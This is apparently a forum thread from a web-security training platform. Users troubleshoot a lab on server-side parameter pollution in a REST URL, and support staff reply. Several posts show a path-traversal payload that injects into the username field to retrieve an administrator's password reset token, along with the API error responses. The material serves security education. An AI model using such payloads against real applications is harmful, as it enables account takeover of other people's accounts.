Issue in an Academy Lab

Viktor | Last updated: Jan 04, 2024 04:12PM UTC

Hello it would seem that there is an issue with the Lab for: "Exploiting server-side parameter pollution in a REST URL". After the request for the passwordResetToken is submitted the response does not have a valid password reset token but the value is null Payload user: csrf=rHNJ6uYSDiGqDlMc5eYu9RMfjQWmVrQK&username=carlos%2f..%2f..%2f..%2fv1%2fusers%2fadministrator%2ffield%2fpasswordResetToken%23 Response: HTTP/1.1 500 Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Content-Length: 120 { "error": "Unexpected response from API server:\n{\n \"type\": \"passwordResetToken\",\n \"result\": null\n}" } This also happens if i use the example payload from the solution page.

Hi I've just run through the lab and could solve it using the provided solution. I used the suggested payload from the solution, so the whole line looked like this: csrf=SgHtyMMe996rqgWWRsXggM4u3fYWq4Wh&username=../../v1/users/administrator/field/passwordResetToken%23 If you're still having issues, can you send an email to support@portswigger.net with screenshots or a screen recording of the steps you're taking?

Hi! Were you able to solve this? I am facing the exact same issue even after several months.

Hi I have successfully solved this lab in the past. What problems are you experiencing now? Have you clicked on the 'Forgot password' for the administrator user before using the payload to make sure a password reset token exists?

I was unable to solve it myself. I used the provided solution but instead of the reset_token. I get: { "error": "Unexpected response from API server:\n{\n \"type\": \"passwordResetToken\",\n \"result\": null\n}" } exactly same as mentioned above.
